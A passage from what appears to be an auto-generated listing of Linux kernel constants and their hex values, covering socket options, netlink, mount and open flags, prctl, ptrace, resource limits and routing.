-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x1
-- ISTRIP = 0x20
-- IUCLC = 0x200
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x1000
-- IXON = 0x400
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_32BIT = 0x40
-- MAP_ANON = 0x20
-- MAP_ANONYMOUS = 0x20
-- MAP_DENYWRITE = 0x800
-- MAP_EXECUTABLE = 0x1000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x100
-- MAP_HUGETLB = 0x40000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x2000
-- MAP_NONBLOCK = 0x10000
-- MAP_NORESERVE = 0x4000
-- MAP_POPULATE = 0x8000
-- MAP_PRIVATE = 0x2
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x20000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x1
-- MCL_FUTURE = 0x2
-- MCL_ONFAULT = 0x4
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x100
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x2
-- ONLCR = 0x4
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x400
-- O_ASYNC = 0x2000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x40
-- O_DIRECT = 0x4000
-- O_DIRECTORY = 0x10000
-- O_DSYNC = 0x1000
-- O_EXCL = 0x80
-- O_FSYNC = 0x101000
-- O_LARGEFILE = 0x8000
-- O_NDELAY = 0x800
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x100
-- O_NOFOLLOW = 0x20000
-- O_NONBLOCK = 0x800
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x101000
-- O_SYNC = 0x101000
-- O_TMPFILE = 0x410000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x100
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x200
-- PENDIN = 0x4000
-- PERF_EVENT_IOC_DISABLE = 0x2401
-- PERF_EVENT_IOC_ENABLE = 0x2400
-- PERF_EVENT_IOC_ID = 0x80042407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-- PERF_EVENT_IOC_PERIOD = 0x40082404
-- PERF_EVENT_IOC_REFRESH = 0x2402
-- PERF_EVENT_IOC_RESET = 0x2403
-- PERF_EVENT_IOC_SET_BPF = 0x40042408
-- PERF_EVENT_IOC_SET_FILTER = 0x40042406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = 0xffffffff
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETFPREGS = 0xe
-- PTRACE_GETFPXREGS = 0x12
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_GET_THREAD_AREA = 0x19
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_OLDSETOPTIONS = 0x15
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKEUSR = 0x6
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETFPREGS = 0xf
-- PTRACE_SETFPXREGS = 0x13
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SET_THREAD_AREA = 0x1a
-- PTRACE_SINGLEBLOCK = 0x21
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_SYSEMU = 0x1f
-- PTRACE_SYSEMU_SINGLESTEP = 0x20
-- PTRACE_TRACEME = 0x0
-- RLIMIT_AS = 0x9
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x8
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
-- RLIMIT_NOFILE = 0x7
-- RLIMIT_NPROC = 0x6
-- RLIMIT_RSS = 0x5
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
